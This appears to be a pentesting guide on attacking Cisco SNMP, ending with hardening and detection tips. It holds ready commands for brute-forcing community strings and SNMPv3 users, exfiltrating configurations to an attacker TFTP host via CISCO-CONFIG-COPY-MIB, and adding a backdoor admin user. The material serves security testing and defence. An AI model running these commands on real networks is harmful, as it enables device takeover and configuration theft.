Cisco SNMP

Pentesting Cisco Networks

SNMP functions over UDP with ports 161/UDP for general messages and 162/UDP for trap messages. This protocol relies on community strings, serving as plaintext "passwords" that enable communication between SNMP agents and managers. These strings determine the access level, specifically read-only (RO) or read-write (RW) permissions.

A classic--yet still extremely effective--attack vector is to brute-force community strings in order to elevate from unauthenticated user to device administrator (RW community).
A practical tool for this task is onesixtyone:

onesixtyone -c community_strings.txt -i targets.txt

Other fast options are the Nmap NSE script snmp-brute or Hydra's SNMP module:

nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp

For generic OID walking and broader enumeration, see the main SNMP page. On Cisco gear, do not stop just because Nmap or Nessus fingerprints the service as SNMPv3: pentests routinely find v1/v2c communities and v3 users side by side.

SNMPv3 targets are still worth attacking

If the device only exposes SNMPv3, user enumeration and password guessing are still practical. Once you recover a RW SNMPv3 user, the same config-copy MIB can be abused to exfiltrate or merge configurations.

# Enumerate SNMPv3 usernames / guess passwords
./snmpwn.rb --hosts targets.txt --users users.txt --passlist passwords.txt --enclist passwords.txt

# Trigger a Cisco config download over SNMPv3
./config-dump.py -t 192.168.66.1 -a SHA -A 'AuthPass!' -x AES -X 'PrivPass!' -u netmon -s 10.10.14.8

Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB)

If you obtain an RW community or RW SNMPv3 user, you can copy the running-config/startup-config to a remote server without CLI access by abusing the CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96). Classic IOS workflows usually use TFTP (and sometimes RCP); SCP exists on platforms that support the Secure Copy extension. If you need to stand up or enumerate a TFTP service first, check 69 - UDP TFTP.

1. Nmap NSE - snmp-ios-config

nmap -sU -p161 --script snmp-ios-config \
     --script-args creds.snmp=:private,snmp.version=v2c 192.168.66.1

1. Manual snmpset sequence

# Copy running-config (4) to a TFTP server (1) using row id 1234
snmpset -v2c -c private -m +CISCO-CONFIG-COPY-MIB 192.168.66.1 \
  ccCopyProtocol.1234 i 1 \
  ccCopySourceFileType.1234 i 4 \
  ccCopyDestFileType.1234 i 1 \
  ccCopyServerAddress.1234 a 10.10.14.8 \
  ccCopyFileName.1234 s backup.cfg \
  ccCopyEntryRowStatus.1234 i 4

# Check state / failure cause and then destroy the row
snmpget -v2c -c private -m +CISCO-CONFIG-COPY-MIB 192.168.66.1 \
  ccCopyState.1234 ccCopyFailCause.1234
snmpset -v2c -c private -m +CISCO-CONFIG-COPY-MIB 192.168.66.1 \
  ccCopyEntryRowStatus.1234 i 6

The important offensive detail is that networkFile -> runningConfig merges your file into the live configuration, while networkFile -> startupConfig replaces NVRAM and should only be used with a full config. That makes runningConfig the safer path if your goal is to add a local user, enable SSH, loosen aaa, or otherwise obtain a management foothold without clobbering the whole device.

Recent tooling automates both the dump and the write-back workflow:

sudo cisco-snmp-pwner dump --listen <TARGET> --target <TARGET> \
  --version 2c --communitystring private

sudo cisco-snmp-pwner add-user --listen <TARGET> --target <TARGET> \
  --version 2c --communitystring private \
  --username pwned --password 'allYourCisc0AreBelongToUs$'

Metasploit goodies

• cisco_config_tftp - downloads running-config/startup-config via TFTP after abusing the same MIB.
• snmp_enum - collects device inventory information, VLANs, interface descriptions, ARP tables, etc.

use auxiliary/scanner/snmp/cisco_config_tftp
set RHOSTS 10.10.100.10
set COMMUNITY private
set OUTPUTDIR /tmp/cisco-configs
run

Recent Cisco SNMP footguns and vulnerabilities (2024 - 2025)

Keeping track of vendor advisories is useful to scope zero-day-to-n-day opportunities inside an engagement. The practical takeaway is that RO communities and v3 users are still valuable: they can turn into config theft, unauthorized polling from "blocked" sources, forced reloads, or even RCE if additional privilege is already in play.

Exploitability still depends on possessing the community string or v3 credentials in most cases, which is exactly why brute-forcing, trap harvesting, and config theft remain relevant against Cisco devices.

Hardening & Detection tips

• Upgrade to a fixed IOS/IOS-XE version (see Cisco advisory for the CVEs above).
• Prefer SNMPv3 with authPriv (SHA-256/AES-256) over v1/v2c.
  

  snmp-server group SECURE v3 priv
  snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
  

• Bind SNMP to a management VRF and restrict with standard named or numbered IPv4 ACLs only. Do not rely on extended named IPv4 ACLs for SNMP (CVE-2024-20373).
• If you use SNMPv3 user-level ACLs, validate the serialized snmp-server user line after save/reload. Long auth/priv/ACL combinations can exceed the 255-character limit and silently drop the ACL on reboot (CVE-2025-20151). On newer IOS XE releases, re-create those users with type 6 encryption.
• Disable RW communities; if operationally required, limit them with ACL and views:
  snmp-server community <string> RW 99 view SysView
• If patching lags behind the 2025 parser bugs, use an SNMP view to exclude the advisory-listed OIDs until the device can be upgraded.
• Monitor for:
• UDP/161 spikes or unexpected sources.
• CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource events indicating out-of-band config changes.
• Outbound TFTP/SCP transfers from infrastructure devices that should not be exporting configs.

References

• Cisco: How To Copy Configurations To and From Cisco Devices Using SNMP
• TrustedSec: Cisco Hackery - How Cisco Configuration Files Can Help Attackers Enumerate Your Network